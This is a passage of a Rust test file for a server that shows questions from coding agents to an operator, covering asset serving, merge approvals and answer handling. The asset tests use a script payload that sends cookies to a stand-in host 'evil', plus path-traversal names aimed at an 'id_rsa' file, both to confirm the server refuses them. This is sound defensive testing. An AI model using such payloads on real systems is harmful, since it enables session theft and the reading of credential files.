11784        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11785
11786        assert_eq!(as_png.status, 200);
11787        assert_eq!(as_png.header("content-type"), Some("image/png"));
11788        assert_eq!(
11789            as_png.header("content-disposition"),
11790            None,
11791            "a raster image has no execution surface, so tapping it still shows it"
11792        );
11793        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11794    }
11795
11796    #[tokio::test]
11797    async fn an_html_asset_is_never_served_as_html() {
11798        let fx = Fixture::start().await;
11799        let id = panel(
11800            &fx,
11801            "<p>see the notes</p>",
11802            &[
11803                (
11804                    "notes.html",
11805                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11806                ),
11807                ("hook.js", b"fetch('http://evil/')"),
11808                ("data.json", b"{}"),
11809                ("HEADLINE.TXT", b"plain"),
11810            ],
11811        );
11812
11813        for name in ["notes.html", "hook.js", "data.json"] {
11814            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11815            assert_eq!(res.status, 200, "{name}: {}", res.body);
11816            // Serving this as text/html would be a way to reach agent markup
11817            // at the top level of the operator's browser, outside the frame's
11818            // sandbox and outside its CSP - which is the whole thing the panel
11819            // design exists to prevent. Unlisted types are downloads.
11820            assert_eq!(
11821                res.header("content-type"),
11822                Some("application/octet-stream"),
11823                "{name} must not be a type the browser will execute or render"
11824            );
11825        }
11826        // The whitelist is matched case-insensitively, so an agent shouting the
11827        // extension still gets a readable file rather than a download.
11828        let txt = fx
11829            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11830            .await;
11831        assert_eq!(
11832            txt.header("content-type"),
11833            Some("text/plain; charset=utf-8")
11834        );
11835    }
11836
11837    #[tokio::test]
11838    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11839        let fx = Fixture::start().await;
11840        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11841        // Something outside the panel directory that a traversal would reach if
11842        // one got through, so a passing test is not merely "the file was
11843        // missing anyway".
11844        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11845
11846        // Decoded before this server's handler sees them: axum percent-decodes
11847        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11848        // string with a NUL in it. All three look like ordinary single-segment
11849        // filenames to the router, so the router passes them through and
11850        // `valid_asset_name` is what refuses them - for the literal `..`, and
11851        // for `/`, `\` and NUL not being in the permitted character set.
11852        for encoded in [
11853            "%2e%2e%2fid_rsa",
11854            "..%2fid_rsa",
11855            "..%5cid_rsa",
11856            "%2e%2e%5cid_rsa",
11857            "diff%00.svg",
11858            "..",
11859            ".hidden",
11860            "%2e%2e%2f%2e%2e%2fid_rsa",
11861        ] {
11862            let res = fx
11863                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11864                .await;
11865            assert_eq!(
11866                res.status, 400,
11867                "`{encoded}` has to be refused by name, not looked up: {}",
11868                res.body
11869            );
11870            assert!(res.json()["error"].is_string(), "{}", res.body);
11871        }
11872
11873        // Not decoded, and never this handler's problem: a real slash makes the
11874        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11875        // so axum's router has no route to match and answers before any code
11876        // here runs. Asserted so that a future route with a wildcard segment
11877        // cannot quietly open this door.
11878        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11879            let res = fx
11880                .get(&format!("/api/questions/{id}/asset/{literal}"))
11881                .await;
11882            assert_eq!(
11883                res.status, 404,
11884                "`{literal}` must not match the asset route at all: {}",
11885                res.body
11886            );
11887        }
11888    }
11889
11890    #[tokio::test]
11891    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11892        let fx = Fixture::start().await;
11893        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11894        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11895
11896        // A question nobody wrote a panel for. The client preflights with HEAD
11897        // and cannot see inside a sandboxed frame, so this must be a status and
11898        // not an empty page.
11899        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11900        assert_eq!(none.status, 404, "{}", none.body);
11901        assert!(none.json()["error"].is_string(), "{}", none.body);
11902        assert_eq!(
11903            fx.head(&format!("/api/questions/{plain}/panel"))
11904                .await
11905                .status,
11906            404,
11907            "the preflight is the only way the client can learn this"
11908        );
11909
11910        // A name that is perfectly legal and simply is not there.
11911        let missing = fx
11912            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11913            .await;
11914        assert_eq!(missing.status, 404, "{}", missing.body);
11915        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11916
11917        // A question that does not exist at all, on both routes.
11918        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11919        assert_eq!(
11920            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11921            404
11922        );
11923    }
11924
11925    #[tokio::test]
11926    async fn a_run_with_an_open_question_reads_as_waiting() {
11927        let fx = Fixture::start().await;
11928        let run = "20260902-000000-beef".to_owned();
11929        write_run(&fx.runs(), &run, RunStatus::Implementing);
11930
11931        let before = fx.get("/api/runs").await.json();
11932        assert_eq!(before[0]["waiting"], false, "{before}");
11933
11934        let store = fx.questions();
11935        let mut q = Question::new(
11936            run.clone(),
11937            "implement".to_owned(),
11938            "impl-A".to_owned(),
11939            "Which backend?".to_owned(),
11940            String::new(),
11941            vec!["SQLite".to_owned()],
11942        );
11943        store.put(&mut q).expect("put");
11944
11945        let during = fx.get("/api/runs").await.json();
11946        assert_eq!(during[0]["waiting"], true, "{during}");
11947
11948        // Answered: the run is moving again, and the flag has to follow without
11949        // anything having rewritten run.json.
11950        q.answer(Answer::Choice("SQLite".to_owned()))
11951            .expect("answer");
11952        store.put(&mut q).expect("put");
11953        let after = fx.get("/api/runs").await.json();
11954        assert_eq!(after[0]["waiting"], false, "{after}");
11955    }
11956
11957    #[tokio::test]
11958    async fn an_open_question_is_listed_and_counted_by_health() {
11959        let fx = Fixture::start().await;
11960        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11961
11962        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11963        let listed = fx.get("/api/questions").await.json();
11964        assert_eq!(listed.as_array().expect("array").len(), 1);
11965        assert_eq!(listed[0]["id"], id);
11966        assert_eq!(listed[0]["status"], "open");
11967        assert_eq!(listed[0]["choices"][1], "Redis");
11968        // The count is what makes the phone's indicator honest: it is the one
11969        // number meaning nothing will move until a human acts.
11970        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11971    }
11972
11973    fn obsolete_approval_state() -> RunState {
11974        let mut state = crate::land::tests::repair_state(true, true);
11975        state.pr = Some(crate::run::PrRecord {
11976            url: "https://github.com/example/repo/pull/42".into(),
11977            number: 42,
11978            state: "open".into(),
11979            checks: "green".into(),
11980            round: 1,
11981            rounds: 4,
11982            red_at_merge: Vec::new(),
11983        });
11984        state
11985    }
11986
11987    #[tokio::test]
11988    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11989        for owner in ["missing", "current", "completed", "later"] {
11990            let fx = Fixture {
11991                home: TempDir::new().unwrap(),
11992                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11993            };
11994            let mut state = obsolete_approval_state();
11995            state.status = RunStatus::Landing;
11996            state.parked = true;
11997            state.driver_exited = true;
11998            let mut q = Question::new(
11999                state.id.clone(),
12000                crate::land::APPROVAL_NODE.into(),
12001                "land".into(),
12002                "Old approval".into(),
12003                "Original evidence".into(),
12004                vec!["merge".into(), "hold".into()],
12005            );
12006            state.land_approval = Some(crate::run::LandApproval {
12007                question: q.id.clone(),
12008                head: "head".into(),
12009            });
12010            state.save_under(fx.home.path()).unwrap();
12011            let stale = state.clone();
12012            fx.questions().put(&mut q).unwrap();
12013            let mut task = Task::new(
12014                "Owner".into(),
12015                "Original instruction".into(),
12016                state.repo.clone(),
12017                Source::Human,
12018            );
12019            task.runs.push(state.id.clone());
12020            task.status = if owner == "completed" {
12021                TaskStatus::Done
12022            } else {
12023                TaskStatus::Parked
12024            };
12025            if owner == "later" {
12026                task.runs.push("later-run".into());
12027            }
12028            if owner != "missing" {
12029                fx.queue().put(&mut task).unwrap();
12030            }
12031            let ui = Arc::new(Ui::new(
12032                fx.queue(),
12033                fx.questions(),
12034                fx.talks(),
12035                fx.runs(),
12036                fx.home.path().into(),
12037                state.repo.clone(),
12038            ));
12039            let response = question_answer(
12040                State(ui),
12041                Path(q.id.clone()),
12042                Ok(Json(NewAnswer {
12043                    choice: Some(crate::merge_decision::DISMISS.into()),
12044                    text: None,
12045                    ..Default::default()
12046                })),
12047            )
12048            .await
12049            .unwrap();
12050            assert_eq!(
12051                response.0.question.resolution().as_deref(),
12052                Some(crate::merge_decision::DISMISS)
12053            );
12054            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12055            assert_eq!(disk.status, RunStatus::Superseded);
12056            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12057            assert!(!crate::merge_decision::resumable_hold(&disk));
12058            assert_eq!(
12059                serde_json::to_value(&disk.pr).unwrap(),
12060                serde_json::to_value(&stale.pr).unwrap()
12061            );
12062            assert_eq!(fx.questions().count_open(), 0);
12063            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12064            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12065            if owner == "missing" {
12066                assert!(fx.queue().list().is_empty());
12067            } else {
12068                let after = fx.queue().get(&task.id).unwrap();
12069                assert_eq!(
12070                    after.status,
12071                    if owner == "current" {
12072                        TaskStatus::Done
12073                    } else {
12074                        task.status
12075                    }
12076                );
12077                assert_eq!(after.runs, task.runs);
12078                assert_eq!(after.instruction, task.instruction);
12079                assert_eq!(after.action_applied(&q.id), owner == "current");
12080            }
12081        }
12082    }
12083
12084    #[tokio::test]
12085    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12086        let fx = Fixture::start().await;
12087        let mut state = obsolete_approval_state();
12088        state.status = RunStatus::Landing;
12089        state.parked = true;
12090        state.driver_exited = true;
12091        let mut q = Question::new(
12092            state.id.clone(),
12093            crate::land::APPROVAL_NODE.into(),
12094            "land".into(),
12095            "Superseded PR approval".into(),
12096            "Original review evidence".into(),
12097            vec!["merge".into(), "hold".into()],
12098        );
12099        state.land_approval = Some(crate::run::LandApproval {
12100            question: q.id.clone(),
12101            head: "old-reviewed-head".into(),
12102        });
12103        // The old persisted PR may still say open even when a separate change
12104        // already landed. Dismissal must not use that snapshot to close it.
12105        state.save_under(fx.home.path()).unwrap();
12106        let stale_driver = state.clone();
12107        fx.questions().put(&mut q).unwrap();
12108        let path = fx
12109            .home
12110            .path()
12111            .join("questions")
12112            .join(format!("{}.json", q.id));
12113        let mut legacy = serde_json::to_value(&q).unwrap();
12114        legacy["schema"] = 9.into();
12115        legacy.as_object_mut().unwrap().remove("merge_target");
12116        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12117
12118        // POST without GET tests legacy upgrade and validation at the actual
12119        // entry point, rather than constructing a modern card in the test.
12120        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12121        let answer_path = format!("/api/questions/{}/answer", q.id);
12122        let res = fx.post(&answer_path, Some(&body)).await;
12123        assert_eq!(res.status, 200, "{}", res.body);
12124        let disk = fx.questions().get(&q.id).unwrap();
12125        assert_eq!(
12126            disk.resolution().as_deref(),
12127            Some(crate::merge_decision::DISMISS)
12128        );
12129        assert!(disk.detail.starts_with("Original review evidence"));
12130        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12131        assert_eq!(retired.status, RunStatus::Superseded);
12132        assert_eq!(
12133            serde_json::to_value(&retired.pr).unwrap(),
12134            serde_json::to_value(&state.pr).unwrap()
12135        );
12136        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12137        assert!(!crate::merge_decision::resumable_hold(&retired));
12138        assert!(fx.queue().list().is_empty());
12139        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12140        // A restarted server re-reads the persisted pending list.
12141        let addr = Fixture::serve(
12142            fx.home.path(),
12143            PathBuf::from("/repo/magi"),
12144            launch_idle,
12145            None,
12146        )
12147        .await;
12148        let reconnected = Fixture {
12149            home: fx.home,
12150            addr,
12151        };
12152        let listed = reconnected.get("/api/questions").await.json();
12153        assert!(
12154            listed
12155                .as_array()
12156                .unwrap()
12157                .iter()
12158                .all(|q| q["status"] != "open")
12159        );
12160        assert_eq!(listed[0]["id"], q.id, "history remains available");
12161        assert_eq!(
12162            reconnected.get("/api/health").await.json()["questions_open"],
12163            0
12164        );
12165        assert_eq!(
12166            reconnected
12167                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12168                .await
12169                .status,
12170            409
12171        );
12172        // A late waiter cannot turn the old answer into a new decision.
12173        assert!(
12174            reconnected
12175                .questions()
12176                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12177                .is_err()
12178        );
12179        // The same guard used by claims, repair and publication rejects a
12180        // saved in-memory driver as well as the persisted terminal record.
12181        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12182    }
12183
12184    #[tokio::test]
12185    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12186        let fx = Fixture::start().await;
12187        let mut state = obsolete_approval_state();
12188        state.status = RunStatus::Landing;
12189        state.driver_exited = true;
12190        let mut q = Question::new(
12191            state.id.clone(),
12192            crate::land::APPROVAL_NODE.into(),
12193            "land".into(),
12194            "Obsolete approval".into(),
12195            String::new(),
12196            vec!["merge".into(), "hold".into()],
12197        );
12198        state.land_approval = Some(crate::run::LandApproval {
12199            question: q.id.clone(),
12200            head: "head".into(),
12201        });
12202        state.save_under(fx.home.path()).unwrap();
12203        fx.questions().put(&mut q).unwrap();
12204        let mut task = Task::new(
12205            "Owner".into(),
12206            "Original instruction".into(),
12207            state.repo.clone(),
12208            Source::Human,
12209        );
12210        task.runs = vec![state.id.clone(), "later-run".into()];
12211        fx.queue().put(&mut task).unwrap();
12212        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12213        let claim = fx.queue().claim(&task.id).unwrap();
12214        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12215        let path = format!("/api/questions/{}/answer", q.id);
12216        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12217        assert!(fx.questions().get(&q.id).unwrap().status.open());
12218        drop(claim);
12219        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12220        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12221        assert!(fx.questions().get(&q.id).unwrap().status.open());
12222        drop(publication);
12223        // Unknown liveness and armed auto-merge both fail without settling.
12224        state.driver_exited = false;
12225        state.driver_pid = None;
12226        state.driver_claimed = None; // No durable proof of an unstarted execution.
12227        state.save_under(fx.home.path()).unwrap();
12228        assert_eq!(
12229            state.liveness_under(fx.home.path(), false),
12230            crate::run::Liveness::Unknown
12231        );
12232
12233        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12234        state.driver_exited = true;
12235        state.land_armed_head = Some("head".into());
12236        state.save_under(fx.home.path()).unwrap();
12237        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12238        state.land_armed_head = None;
12239        state.save_under(fx.home.path()).unwrap();
12240        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12241        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12242        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12243    }
12244
12245    #[tokio::test]
12246    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12247        let fx = Fixture::start().await;
12248        let mut state = obsolete_approval_state();
12249        state.status = RunStatus::Landing;
12250        state.driver_exited = true;
12251        let mut q = Question::new(
12252            state.id.clone(),
12253            crate::land::APPROVAL_NODE.into(),
12254            "land".into(),
12255            "Obsolete approval".into(),
12256            String::new(),
12257            vec!["merge".into(), "hold".into()],
12258        );
12259        state.land_approval = Some(crate::run::LandApproval {
12260            question: q.id.clone(),
12261            head: "head".into(),
12262        });
12263        state.save_under(fx.home.path()).unwrap();
12264        fx.questions().put(&mut q).unwrap();
12265        let mut task = Task::new(
12266            "Owner".into(),
12267            "Original instruction".into(),
12268            state.repo.clone(),
12269            Source::Human,
12270        );
12271        task.runs.push(state.id.clone());
12272        task.status = TaskStatus::Parked;
12273        fx.queue().put(&mut task).unwrap();
12274        // Model a crash after the run stop was persisted but before the queue
12275        // and answered question were flushed. Retrying must finish, not resume.
12276        state.merge_decision = Some(crate::merge_decision::Decision {
12277            question: q.id.clone(),
12278            target: crate::merge_decision::Target {
12279                pr: state.pr.as_ref().unwrap().url.clone(),
12280                head: "head".into(),
12281                language: "ja".into(),
12282            },
12283            choice: crate::merge_decision::DISMISS.into(),
12284            closed: false,
12285            replacement_run: None,
12286            replacement_pr: None,
12287        });
12288        state.status = RunStatus::Superseded;
12289        state.save_under(fx.home.path()).unwrap();
12290        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12291        let path = format!("/api/questions/{}/answer", q.id);
12292        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12293        let done = fx.queue().get(&task.id).unwrap();
12294        assert_eq!(done.status, TaskStatus::Done);
12295        assert_eq!(done.runs, task.runs);
12296        assert_eq!(done.instruction, task.instruction);
12297        assert!(done.action_applied(&q.id));
12298        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12299        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12300        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12301    }
12302
12303    #[tokio::test]
12304    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12305        let home = TempDir::new().unwrap();
12306        let ui = Arc::new(Ui::new(
12307            Queue::at(home.path().join("queue")),
12308            Questions::at(home.path().join("questions")),
12309            Talks::at(home.path().join("talks")),
12310            home.path().join("runs"),
12311            home.path().to_owned(),
12312            home.path().to_owned(),
12313        ));
12314        let talks = &ui.talks;
12315        let chat =
12316            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12317        let mut q = Question::new(
12318            "run".into(),
12319            crate::land::APPROVAL_NODE.into(),
12320            "land".into(),
12321            "Merge?".into(),
12322            String::new(),
12323            vec!["merge".into(), "hold".into()],
12324        );
12325        q.routed_task = Some("task".into());
12326        q.routed_chat = Some(chat.id.clone());
12327        q.merge_target = Some(crate::merge_decision::Target {
12328            pr: "https://example.test/pull/1".into(),
12329            head: "head-a".into(),
12330            language: "en".into(),
12331        });
12332        ui.questions.put(&mut q).unwrap();
12333        let send = |body| {
12334            question_answer(
12335                State(ui.clone()),
12336                Path(q.id.clone()),
12337                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12338            )
12339        };
12340        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12341        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12342        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12343        assert!(send(wrong_chat).await.is_err());
12344        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12345        assert!(send(stale).await.is_err());
12346        assert!(ui.questions.get(&q.id).unwrap().status.open());
12347        assert!(send(button.clone()).await.is_ok());
12348        assert_eq!(
12349            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12350            Some("merge")
12351        );
12352        assert!(send(button).await.is_err());
12353    }
12354
12355    #[tokio::test]
12356    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12357        let home = TempDir::new().unwrap();
12358        let ui = Arc::new(Ui::new(
12359            Queue::at(home.path().join("queue")),
12360            Questions::at(home.path().join("questions")),
12361            Talks::at(home.path().join("talks")),
12362            home.path().join("runs"),
12363            home.path().to_owned(),
12364            home.path().to_owned(),
12365        ));
12366        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12367            let mut q = Question::new(
12368                "run".into(),
12369                crate::land::APPROVAL_NODE.into(),
12370                "land".into(),
12371                "Merge?".into(),
12372                String::new(),
12373                vec!["merge".into(), choice.into()],
12374            );
12375            q.routed_task = Some("task".into());
12376            q.merge_target = Some(crate::merge_decision::Target {
12377                pr: "https://example.test/pull/1".into(),
12378                head: "head-a".into(),
12379                language: "en".into(),
12380            });
12381            ui.questions.put(&mut q).unwrap();
12382            let answer = |c: &str| {
12383                question_answer(
12384                    State(ui.clone()),
12385                    Path(q.id.clone()),
12386                    Ok(Json(
12387                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12388                            .unwrap(),
12389                    )),
12390                )
12391            };
12392            let _ = answer(choice).await.unwrap();
12393            assert_eq!(
12394                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12395                Some(choice)
12396            );
12397        }
12398    }
12399
12400    #[tokio::test]
12401    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12402        let home = TempDir::new().unwrap();
12403        let ui = Arc::new(Ui::new(
12404            Queue::at(home.path().join("queue")),
12405            Questions::at(home.path().join("questions")),
12406            Talks::at(home.path().join("talks")),
12407            home.path().join("runs"),
12408            home.path().to_owned(),
12409            home.path().to_owned(),
12410        ));
12411        let mut q = Question::new(
12412            "run".into(),
12413            crate::github_text::ASK_NODE.into(),
12414            "posting-gate".into(),
12415            "Post?".into(),
12416            String::new(),
12417            vec!["use fallback".into()],
12418        );
12419        q.routed_task = Some("task".into());
12420        ui.questions.put(&mut q).unwrap();
12421        let sent = question_answer(
12422            State(ui.clone()),
12423            Path(q.id.clone()),
12424            Ok(Json(
12425                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12426                    .unwrap(),
12427            )),
12428        )
12429        .await;
12430        let _ = sent.unwrap();
12431        assert_eq!(
12432            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12433            Some("use fallback")
12434        );
12435    }
12436
12437    #[tokio::test]
12438    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12439        let fx = Fixture {
12440            home: TempDir::new().unwrap(),
12441            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12442        };
12443        for choice in [
12444            crate::land::HOLD,
12445            crate::land::REPAIR,
12446            crate::land::APPROVE,
12447            crate::merge_decision::WITHDRAW,
12448            "reimplement:beta",
12449        ] {
12450            let mut q = Question::new(
12451                "old-run".into(),
12452                crate::land::APPROVAL_NODE.into(),
12453                "land".into(),
12454                "Decision".into(),
12455                "Review findings".into(),
12456                vec![
12457                    "merge".into(),
12458                    "hold".into(),
12459                    crate::land::REPAIR.into(),
12460                    crate::merge_decision::WITHDRAW.into(),
12461                    "reimplement:beta".into(),
12462                ],
12463            );
12464            q.merge_target = Some(crate::merge_decision::Target {
12465                pr: "https://github.com/example/repo/pull/42".into(),
12466                head: "exact-reviewed-head".into(),
12467                language: "ja".into(),
12468            });
12469            q.consult = Some(ask::ChatConsult {
12470                talk: "another-conversation".into(),
12471                at: jiff::Timestamp::now(),
12472            });
12473            fx.questions().put(&mut q).unwrap();
12474            let ui = Arc::new(Ui::new(
12475                fx.queue(),
12476                fx.questions(),
12477                fx.talks(),
12478                fx.runs(),
12479                fx.home.path().into(),
12480                std::path::PathBuf::from("."),
12481            ));
12482            let response = question_answer(
12483                State(ui.clone()),
12484                Path(q.id.clone()),
12485                Ok(Json(NewAnswer {
12486                    choice: Some(choice.into()),
12487                    text: None,
12488                    ..Default::default()
12489                })),
12490            )
12491            .await
12492            .unwrap();
12493            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12494            let disk = fx.questions().get(&q.id).unwrap();
12495            assert_eq!(disk.merge_target, q.merge_target);
12496            assert_eq!(disk.consult, q.consult);
12497            assert_eq!(disk.resolution().as_deref(), Some(choice));
12498            assert!(
12499                question_answer(
12500                    State(ui),
12501                    Path(q.id.clone()),
12502                    Ok(Json(NewAnswer {
12503                        choice: Some("merge".into()),
12504                        text: None,
12505                        ..Default::default()
12506                    }))
12507                )
12508                .await
12509                .is_err(),
12510                "an already settled decision cannot turn into merge approval"
12511            );
12512        }
12513    }
12514
12515    #[tokio::test]
12516    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12517        let fx = Fixture {
12518            home: TempDir::new().unwrap(),
12519            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12520        };
12521        let mut state = crate::land::tests::repair_state(true, true);
12522        state.status = RunStatus::Landing;
12523        state.parked = true;
12524        state.driver_exited = true;
12525        let mut task = Task::new(
12526            "Existing PR owner".into(),
12527            state.instruction.clone(),
12528            state.repo.clone(),
12529            Source::Human,
12530        );
12531        task.runs.push(state.id.clone());
12532        task.status = TaskStatus::Parked;
12533        fx.queue().put(&mut task).unwrap();
12534        let mut q = Question::new(
12535            state.id.clone(),
12536            crate::land::APPROVAL_NODE.into(),
12537            "land".into(),
12538            "Contested merge".into(),
12539            "Original evidence".into(),
12540            vec!["merge".into(), "hold".into()],
12541        );
12542        state.land_approval = Some(crate::run::LandApproval {
12543            question: q.id.clone(),
12544            head: "reviewed-head".into(),
12545        });
12546        state.save_under(fx.home.path()).unwrap();
12547        fx.questions().put(&mut q).unwrap();
12548        // A later repair answer on this old card supersedes this manual hold.
12549        task.hold_manual(Some("Pause this PR".into()));
12550        fx.queue().put(&mut task).unwrap();
12551        // POST directly, without a preceding GET: validation must see the
12552        // same durable upgrade that the card, CLI and chat see.
12553        let ui = Arc::new(Ui::new(
12554            fx.queue(),
12555            fx.questions(),
12556            fx.talks(),
12557            fx.runs(),
12558            fx.home.path().to_path_buf(),
12559            state.repo.clone(),
12560        ));
12561        let response = question_answer(
12562            State(ui),
12563            Path(q.id.clone()),
12564            Ok(Json(NewAnswer {
12565                choice: Some(crate::land::REPAIR.into()),
12566                text: None,
12567                ..Default::default()
12568            })),
12569        )
12570        .await
12571        .unwrap();
12572        assert_eq!(response.0.question.id, q.id);
12573        let upgraded = fx.questions().get(&q.id).unwrap();
12574        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12575        assert!(upgraded.detail.starts_with("Original evidence"));
12576        let claim = fx.queue().claim(&task.id).unwrap();
12577        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12578        assert!(
12579            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12580            "an existing driver keeps its claim"
12581        );
12582        drop(claim);
12583        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12584        let resumed = fx.queue().get(&task.id).unwrap();
12585        assert_eq!(
12586            resumed
12587                .resume_override
12588                .as_ref()
12589                .unwrap()
12590                .pinned_run
12591                .as_deref(),
12592            Some(state.id.as_str())
12593        );
12594        assert!(resumed.status.runnable());
12595        assert_eq!(resumed.instruction, task.instruction);
12596        assert_eq!(resumed.runs, task.runs);
12597        assert!(resumed.action_applied(&q.id));
12598        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12599        assert_eq!(fx.queue().list().len(), 1);
12600        assert_eq!(
12601            fx.queue().get(&task.id).unwrap().resume_override,
12602            resumed.resume_override
12603        );
12604        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12605        assert!(
12606            disk.merge_repairs.is_empty(),
12607            "only the claimed run driver may execute repair"
12608        );
12609        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12610    }
12611
12612    #[tokio::test]
12613    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12614        let fx = Fixture::start().await;
12615        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12616        let path = format!("/api/questions/{id}/answer");
12617
12618        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12619        assert_eq!(res.status, 200, "{}", res.body);
12620        let body = res.json();
12621        assert_eq!(body["status"], "answered");
12622        assert_eq!(body["answer"]["choice"], "Redis");
12623
12624        // Answered from the terminal in between the list and the tap: the UI
12625        // must be able to tell this from a bad request, so it can show the
12626        // recorded answer instead of an error.
12627        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12628        assert_eq!(again.status, 409, "{}", again.body);
12629        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12630    }
12631
12632    #[tokio::test]
12633    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12634        let home = tempfile::tempdir().unwrap();
12635        let ui = delta_test_ui(home.path());
12636        let mut q = Question::new(
12637            "task".into(),
12638            crate::land::APPROVAL_NODE.into(),
12639            "land".into(),
12640            "Explain?".into(),
12641            String::new(),
12642            vec!["hold".into()],
12643        );
12644        q.deputy = Some(ask::Deputy::new("context".into()));
12645        ui.questions.put(&mut q).unwrap();
12646        let mut cfg = stub_config();
12647        cfg.daemon.max_deputies = 0;
12648        let mut status = crate::daemon::Status::new();
12649        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12650        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12651        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12652        let error = question_say(
12653            State(ui.clone()),
12654            Path(q.id.clone()),
12655            Ok(Json(NewSay {
12656                body: "Explain the findings".into(),
12657            })),
12658        )
12659        .await
12660        .unwrap_err();
12661        assert_eq!(
12662            error.text_reason,
12663            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12664        );
12665        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12666
12667        let mut text = Question::new(
12668            "task".into(),
12669            "ask".into(),
12670            "operator".into(),
12671            "Which name?".into(),
12672            String::new(),
12673            vec![],
12674        );
12675        ui.questions.put(&mut text).unwrap();
12676        let Json(view) = question_answer(
12677            State(ui.clone()),
